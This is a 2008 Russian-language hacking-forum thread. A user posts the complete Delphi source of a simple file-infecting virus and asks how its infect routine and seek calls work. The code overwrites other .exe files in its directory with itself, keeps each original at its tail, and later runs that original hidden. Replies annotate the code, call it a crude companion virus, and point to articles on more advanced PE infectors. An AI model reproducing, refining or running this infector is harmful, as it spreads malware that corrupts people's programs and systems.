Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Есть исходник и пара вопросов! |

30.05.2008, 16:50
|
|
Участник форума
Регистрация: 16.09.2006
Сообщений: 139
Провел на форуме: 513709
Репутация:
144
|
|
Есть исходник и пара вопросов!
Вот собственно исходник какого то вируса с форума хакер!
Хотел бы чтобы знающие люди мне обьяснили технологию внедрения программы в другую программу ну а собственно действия процедуры infect! Было бы не плохо именно с разбора по полочкам данной процедуры,в особенности интересует функция seek! За ранее большое спасибо!
Код:
program injector;
uses
windows,sysutils,shellapi;
const virsize=44032;
var
victims:tsearchrec;
f1,f2:file;
procedure infect(victim:string);
var
a:integer;
Buf: array[1..virsize] of byte;
nr,nw:longint;
begin
try
randomize;
assignfile(f1,victim);
a:=random(200);
rename(f1,'bad'+inttostr(a)) ;
filemode :=0;
assignfile(f2,paramstr(0));
reset(f2,1) ;
seek(f2,0);
blockread(f2,buf,virsize);
filemode:=2 ;
closefile(f2);
assignfile(f1,victim);
rewrite(f1,1);
blockwrite(f1,buf,virsize);
assignfile(f2,'bad'+inttostr(a));
reset(f2,1);
seek(f2,0);
repeat
BlockRead(f2, Buf,virsize, NR);
BlockWrite(f1, Buf, NR, NW);
until (NR = 0) or (NW <> NR);
closefile(f1);
closefile(f2);
deletefile(pchar('bad'+inttostr(a)))
except
end;
end;
procedure go;
label 10;
var
Buf: array[1..virsize] of byte;
rect:trect;
nr,nw:longint;
begin
////
try
filemode :=0;
assignfile(f1,paramstr(0));
reset(f1,1);
filemode :=2;
assignfile(f2,paramstr(0)+'.exe');
rewrite(f2,1);
seek(f1,virsize);
seek(f2,0) ;
repeat
filemode :=0;
BlockRead(f1, Buf,virsize, NR);
filemode :=2;
BlockWrite(f2, Buf, NR, NW);
until (NR = 0) or (NW <> NR) ;
closefile(f1);
closefile(f2);
ShellExecute(0,'open',pchar(paramstr(0)+ '.exe'), nil, nil, SW_Hide);
if not deletefile(pchar(paramstr(0)+'.exe')) then
begin
//--
end;
except
end;
////
end;
begin
filemode :=0;
assignfile(f1,paramstr(0));
reset(f1,1);
if filesize(f1)>virsize then go;
closefile(f1);
filemode :=2;
if FindFirst('*.exe', Faanyfile, victims) = 0 then
repeat
if not ((victims.Name)=extractfilename(paramstr(0))) then begin
if not ((victims.Name)=extractfilename(extractfilename(paramstr(0)))) then infect(victims.Name);
end;
until FindNext(victims)<>0 ;
end.
|
|
|

30.05.2008, 18:33
|
|
Постоянный
Регистрация: 05.01.2007
Сообщений: 508
Провел на форуме: 2360904
Репутация:
1393
|
|
Ф-ция seek, перемещает курсор к заданной записи (binary mode)
Последний раз редактировалось z01b; 30.05.2008 в 18:37..
|
|
|

30.05.2008, 18:40
|
|
Постоянный
Регистрация: 30.04.2008
Сообщений: 323
Провел на форуме: 379101
Репутация:
136
|
|
Код:
seek(f2,0); { переход в начало}
blockread(f2,buf,virsize); { считали с буфер с позиции }
filemode:=2 ; { режим открытия файлов (по дефолту 2)}
closefile(f2);
assignfile(f1,victim);
rewrite(f1,1); {открыли для перезаписи}
blockwrite(f1,buf,virsize); {записали буфер}
В общем не качественный вирус-инфектор, лучше поразбирай, инфекторы, юзающие
PE формат, добавление новой секции, внедрение в PE заголовок, если не ошибаюсь
это вирус-спутник.
|
|
|

30.05.2008, 19:05
|
|
Постоянный
Регистрация: 30.09.2007
Сообщений: 815
Провел на форуме: 2590715
Репутация:
659
|
|
ОМГ мною был написан очень похожий вирус в далеком 98-м году по такому же принципу и тоже на Паскале )))
|
|
|

30.05.2008, 19:22
|
|
Познающий
Регистрация: 24.02.2006
Сообщений: 34
Провел на форуме: 136883
Репутация:
50
|
|
говно код... =\ хотьбы FindClose() вызвал... в конце поиска... кривые руки это делали =\\ не в обиду будет сказанно =\\\
а вообще, похоже что этот говно код тупо берёт, переписывает все EXE в текущей директории, своей копией при этом записывая "перезаписываемый" EXE в конец себя...
и при запуске получается что сначала запустится "псевдо вирус", а потом оригинальный "сдампленный" EXE... только автор не подумал на счёт иконок... а следовало бы...
кто не понял что я хотел сказать, извините)) не умею объяснять %)
|
|
|

30.05.2008, 19:45
|
|
Постоянный
Регистрация: 16.04.2007
Сообщений: 398
Провел на форуме: 3371897
Репутация:
1462
|
|
Сообщение от ZirroCool
Хотел бы чтобы знающие люди мне обьяснили технологию внедрения программы в другую программу ну а собственно действия процедуры infect!
Здесь нет прямого ответа на твой вопрос , но ты без труда поймёшь :
http://wasm.ru/series.php?sid=4
+ советовал бы почитать думаю для начала Румянцева "Работа с файлами в Win API" ...
|
|
|

30.05.2008, 20:17
|
|
Участник форума
Регистрация: 16.09.2006
Сообщений: 139
Провел на форуме: 513709
Репутация:
144
|
|
всем спасибо уже сам весь исходник прокопал!!! Тему можно закрыть! Кому интересно http://www.kiber-zona.org/index.php?showtopic=2917
|
|
|

31.05.2008, 12:07
|
|
Постоянный
Регистрация: 20.08.2006
Сообщений: 327
Провел на форуме: 2472378
Репутация:
1077
|
|
мдааааа, x0man... прав был Крыс Касперски, когда говорил, что вирусы пишут все кому не лень! "/
ТС, для того, чтобы написать вирус, тебе необходимы знания PE-формата, ассемблера, техник поли/метаморфизма, антиотладки, смешивания,обфускации
прочти хотя бы серию "от зеленого к красному"
|
|
|

01.06.2008, 06:58
|
|
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
http://wasm.ru/publist.php?list=6
И вот сам труЪ инфектор
http://wasm.ru/article.php?article=peinfector
|
|
|

02.06.2008, 14:16
|
|
Постоянный
Регистрация: 04.04.2008
Сообщений: 527
Провел на форуме: 1494768
Репутация:
272
|
|
Ого..прикольно..
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|